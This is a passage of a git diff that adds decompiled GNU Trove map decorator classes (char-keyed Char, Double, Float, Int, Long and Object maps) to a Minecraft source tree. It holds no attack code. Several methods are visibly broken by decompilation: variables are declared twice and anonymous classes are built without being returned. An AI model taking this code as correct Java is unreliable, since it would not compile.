+  public Set<Map.Entry<Character, Character>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TCharCharMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Character, Character>> iterator()
+      {
+        new Iterator() {
+          private final TCharCharIterator it = _map.iterator();
+          
+          public Map.Entry<Character, Character> next() {
+            it.advance();
+            final Character key = wrapKey(it.key());
+            final Character v = wrapValue(it.value());
+            new Map.Entry() {
+              private Character val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Character getKey()
+              {
+                return key;
+              }
+              
+              public Character getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Character setValue(Character value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Character, Character> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Character key = (Character)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Character, Character>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TCharCharMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Character)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Character)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Character, ? extends Character> map)
+  {
+    Iterator<? extends Map.Entry<? extends Character, ? extends Character>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Character, ? extends Character> e = (Map.Entry)it.next();
+      put((Character)e.getKey(), (Character)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Character wrapKey(char k)
+  {
+    return Character.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected char unwrapKey(Object key)
+  {
+    return ((Character)key).charValue();
+  }
+  
+
+
+
+
+
+
+  protected Character wrapValue(char k)
+  {
+    return Character.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected char unwrapValue(Object value)
+  {
+    return ((Character)value).charValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TCharCharMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TCharDoubleMapDecorator.java b/src/minecraft/gnu/trove/decorator/TCharDoubleMapDecorator.java
new file mode 100644
index 0000000..c5b1572
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TCharDoubleMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TCharDoubleIterator;
+import gnu.trove.map.TCharDoubleMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TCharDoubleMapDecorator
+  extends AbstractMap<Character, Double>
+  implements Map<Character, Double>, Externalizable, Cloneable
+{
+  protected TCharDoubleMap _map;
+  
+  public TCharDoubleMapDecorator() {}
+  
+  public TCharDoubleMapDecorator(TCharDoubleMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TCharDoubleMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Double put(Character key, Double value)
+  {
+    char k;
+    
+
+
+    char k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    double v;
+    double v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    double retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Double get(Object key)
+  {
+    char k;
+    
+
+
+    if (key != null) { char k;
+      if ((key instanceof Character)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    double v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Double remove(Object key)
+  {
+    char k;
+    
+
+
+    if (key != null) { char k;
+      if ((key instanceof Character)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    double v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Character, Double>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TCharDoubleMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Character, Double>> iterator()
+      {
+        new Iterator() {
+          private final TCharDoubleIterator it = _map.iterator();
+          
+          public Map.Entry<Character, Double> next() {
+            it.advance();
+            final Character key = wrapKey(it.key());
+            final Double v = wrapValue(it.value());
+            new Map.Entry() {
+              private Double val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Character getKey()
+              {
+                return key;
+              }
+              
+              public Double getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Double setValue(Double value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Character, Double> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Character key = (Character)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Character, Double>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TCharDoubleMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Double)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Character)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Character, ? extends Double> map)
+  {
+    Iterator<? extends Map.Entry<? extends Character, ? extends Double>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Character, ? extends Double> e = (Map.Entry)it.next();
+      put((Character)e.getKey(), (Double)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Character wrapKey(char k)
+  {
+    return Character.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected char unwrapKey(Object key)
+  {
+    return ((Character)key).charValue();
+  }
+  
+
+
+
+
+
+
+  protected Double wrapValue(double k)
+  {
+    return Double.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected double unwrapValue(Object value)
+  {
+    return ((Double)value).doubleValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TCharDoubleMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TCharFloatMapDecorator.java b/src/minecraft/gnu/trove/decorator/TCharFloatMapDecorator.java
new file mode 100644
index 0000000..2343eac
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TCharFloatMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TCharFloatIterator;
+import gnu.trove.map.TCharFloatMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TCharFloatMapDecorator
+  extends AbstractMap<Character, Float>
+  implements Map<Character, Float>, Externalizable, Cloneable
+{
+  protected TCharFloatMap _map;
+  
+  public TCharFloatMapDecorator() {}
+  
+  public TCharFloatMapDecorator(TCharFloatMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TCharFloatMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Float put(Character key, Float value)
+  {
+    char k;
+    
+
+
+    char k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    float v;
+    float v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    float retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Float get(Object key)
+  {
+    char k;
+    
+
+
+    if (key != null) { char k;
+      if ((key instanceof Character)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    float v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Float remove(Object key)
+  {
+    char k;
+    
+
+
+    if (key != null) { char k;
+      if ((key instanceof Character)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    float v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Character, Float>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TCharFloatMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Character, Float>> iterator()
+      {
+        new Iterator() {
+          private final TCharFloatIterator it = _map.iterator();
+          
+          public Map.Entry<Character, Float> next() {
+            it.advance();
+            final Character key = wrapKey(it.key());
+            final Float v = wrapValue(it.value());
+            new Map.Entry() {
+              private Float val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Character getKey()
+              {
+                return key;
+              }
+              
+              public Float getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Float setValue(Float value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Character, Float> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Character key = (Character)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Character, Float>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TCharFloatMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Float)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Character)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Character, ? extends Float> map)
+  {
+    Iterator<? extends Map.Entry<? extends Character, ? extends Float>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Character, ? extends Float> e = (Map.Entry)it.next();
+      put((Character)e.getKey(), (Float)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Character wrapKey(char k)
+  {
+    return Character.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected char unwrapKey(Object key)
+  {
+    return ((Character)key).charValue();
+  }
+  
+
+
+
+
+
+
+  protected Float wrapValue(float k)
+  {
+    return Float.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected float unwrapValue(Object value)
+  {
+    return ((Float)value).floatValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TCharFloatMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TCharIntMapDecorator.java b/src/minecraft/gnu/trove/decorator/TCharIntMapDecorator.java
new file mode 100644
index 0000000..ddb6fa1
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TCharIntMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TCharIntIterator;
+import gnu.trove.map.TCharIntMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TCharIntMapDecorator
+  extends AbstractMap<Character, Integer>
+  implements Map<Character, Integer>, Externalizable, Cloneable
+{
+  protected TCharIntMap _map;
+  
+  public TCharIntMapDecorator() {}
+  
+  public TCharIntMapDecorator(TCharIntMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TCharIntMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Integer put(Character key, Integer value)
+  {
+    char k;
+    
+
+
+    char k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    int v;
+    int v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    int retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Integer get(Object key)
+  {
+    char k;
+    
+
+
+    if (key != null) { char k;
+      if ((key instanceof Character)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    int v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Integer remove(Object key)
+  {
+    char k;
+    
+
+
+    if (key != null) { char k;
+      if ((key instanceof Character)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    int v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Character, Integer>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TCharIntMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Character, Integer>> iterator()
+      {
+        new Iterator() {
+          private final TCharIntIterator it = _map.iterator();
+          
+          public Map.Entry<Character, Integer> next() {
+            it.advance();
+            final Character key = wrapKey(it.key());
+            final Integer v = wrapValue(it.value());
+            new Map.Entry() {
+              private Integer val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Character getKey()
+              {
+                return key;
+              }
+              
+              public Integer getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Integer setValue(Integer value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Character, Integer> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Character key = (Character)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Character, Integer>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TCharIntMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Integer)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Character)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Character, ? extends Integer> map)
+  {
+    Iterator<? extends Map.Entry<? extends Character, ? extends Integer>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Character, ? extends Integer> e = (Map.Entry)it.next();
+      put((Character)e.getKey(), (Integer)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Character wrapKey(char k)
+  {
+    return Character.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected char unwrapKey(Object key)
+  {
+    return ((Character)key).charValue();
+  }
+  
+
+
+
+
+
+
+  protected Integer wrapValue(int k)
+  {
+    return Integer.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected int unwrapValue(Object value)
+  {
+    return ((Integer)value).intValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TCharIntMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TCharLongMapDecorator.java b/src/minecraft/gnu/trove/decorator/TCharLongMapDecorator.java
new file mode 100644
index 0000000..e5dccf8
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TCharLongMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TCharLongIterator;
+import gnu.trove.map.TCharLongMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TCharLongMapDecorator
+  extends AbstractMap<Character, Long>
+  implements Map<Character, Long>, Externalizable, Cloneable
+{
+  protected TCharLongMap _map;
+  
+  public TCharLongMapDecorator() {}
+  
+  public TCharLongMapDecorator(TCharLongMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TCharLongMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Long put(Character key, Long value)
+  {
+    char k;
+    
+
+
+    char k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    long v;
+    long v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    long retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Long get(Object key)
+  {
+    char k;
+    
+
+
+    if (key != null) { char k;
+      if ((key instanceof Character)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    long v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Long remove(Object key)
+  {
+    char k;
+    
+
+
+    if (key != null) { char k;
+      if ((key instanceof Character)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    long v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Character, Long>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TCharLongMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Character, Long>> iterator()
+      {
+        new Iterator() {
+          private final TCharLongIterator it = _map.iterator();
+          
+          public Map.Entry<Character, Long> next() {
+            it.advance();
+            final Character key = wrapKey(it.key());
+            final Long v = wrapValue(it.value());
+            new Map.Entry() {
+              private Long val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Character getKey()
+              {
+                return key;
+              }
+              
+              public Long getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Long setValue(Long value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Character, Long> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Character key = (Character)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Character, Long>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TCharLongMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Long)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Character)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Character, ? extends Long> map)
+  {
+    Iterator<? extends Map.Entry<? extends Character, ? extends Long>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Character, ? extends Long> e = (Map.Entry)it.next();
+      put((Character)e.getKey(), (Long)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Character wrapKey(char k)
+  {
+    return Character.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected char unwrapKey(Object key)
+  {
+    return ((Character)key).charValue();
+  }
+  
+
+
+
+
+
+
+  protected Long wrapValue(long k)
+  {
+    return Long.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected long unwrapValue(Object value)
+  {
+    return ((Long)value).longValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TCharLongMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TCharObjectMapDecorator.java b/src/minecraft/gnu/trove/decorator/TCharObjectMapDecorator.java
new file mode 100644
index 0000000..ed01423
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TCharObjectMapDecorator.java
@@ -0,0 +1,353 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TCharObjectIterator;
+import gnu.trove.map.TCharObjectMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TCharObjectMapDecorator<V>
+  extends AbstractMap<Character, V>
+  implements Map<Character, V>, Externalizable, Cloneable
+{
+  protected TCharObjectMap<V> _map;
+  
+  public TCharObjectMapDecorator() {}
+  
+  public TCharObjectMapDecorator(TCharObjectMap<V> map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TCharObjectMap<V> getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public V put(Character key, V value)
+  {
+    char k;
+    
+
+    char k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else {
+      k = unwrapKey(key);
+    }
+    return _map.put(k, value);
+  }
+  
+
+
+
+  public V get(Object key)
+  {
+    char k;
+    
+
+
+    if (key != null) { char k;
+      if ((key instanceof Character)) {
+        k = unwrapKey((Character)key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    return _map.get(k);
+  }
+  
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public V remove(Object key)
+  {
+    char k;
+    
+
+
+    if (key != null) { char k;
+      if ((key instanceof Character)) {
